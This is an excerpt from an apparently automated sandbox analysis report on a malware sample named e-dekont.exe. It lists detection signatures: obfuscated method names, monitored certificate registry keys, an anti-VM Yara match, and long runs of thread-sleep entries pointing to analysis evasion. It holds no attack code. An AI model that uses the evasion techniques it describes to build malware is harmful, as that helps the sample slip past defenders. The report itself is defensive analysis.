Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sbP0BMFZWXXPlLosyI.cs	High entropy of concatenated method names: 'DpLVAQa1xh', 'aiyVqdWXLN', 'qpQVMYLlQp', 'N39VCYn3OK', 'q3kVD4HA5h', 'DyeV4BscSc', 'Wn4VlZc1bS', 'kNHVvxfJfo', 'oNSVm6vDpK', 'fnvVZcAeYl'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, knCdjVGr83uL8hhtgn.cs	High entropy of concatenated method names: 'WXw0K1hMX7', 'alD0WekIPk', 'etV0YUMVTL', 'Thw06l0ppY', 'bSU0Nr1UdS', 'xNJ0h3Yk9G', 'rFu0uNj1WT', 'AUD0L9p0sn', 'jQX0OiuP6m', 'PVA0kfpP3C'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, EP2N8kZihyVdcM1idG.cs	High entropy of concatenated method names: 'YR5N1GnYKI', 'LxxNybEF8e', 'RNON5OPUi1', 'ToString', 'cIlNdolAZ6', 'RcKNH7G8bx', 'BywWSQZI3G7SFrmadrb', 'usOr7lZ9hQ2J7wMoraq', 'c8A6MhZU2edj2bXVebJ'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, iJAQ07YkZftAiMs5moQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'yrnr3CSHWV', 'XnUrcHUgFo', 'OyVr17lhjB', 'AfUryghEWy', 'RaXr5Y9XA3', 'O1urds94Gx', 'YQjrHK7qmG'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sW8unUTVCmAe5wJ2kF.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ax2GarCKHH', 'sMcGJpgUx7', 'AIWGzj3W4M', 'BYbbT69Si4', 'Dj5bS11gX1', 'ykhbGOpRYb', 'YsSbbh072T', 'P1f8RgOu7Vv5tcGXTlT'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, KWjDk4zb0JGixMxZ7j.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'a3TjVatgX3', 'f2oj2h02U9', 'zHTjgcjwR9', 'D6kjFPJYem', 'Vanj0B7qac', 'GQdjjYvP3s', 'HEyjrIHOVT'

Source: C:\Users\user\Desktop\e-dekont.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR

Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 2910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 8960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 9960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 9B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: AB60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: AF50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: BF50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: CF50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Memory allocated: 4FA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599543	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597446	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Window / User API: threadDelayed 1400			Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Window / User API: threadDelayed 8446			Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7508	Thread sleep count: 1400 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7508	Thread sleep count: 8446 > 30	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599543s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597446s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe TID: 7504	Thread sleep time: -594500s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599543	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597446	Jump to behavior
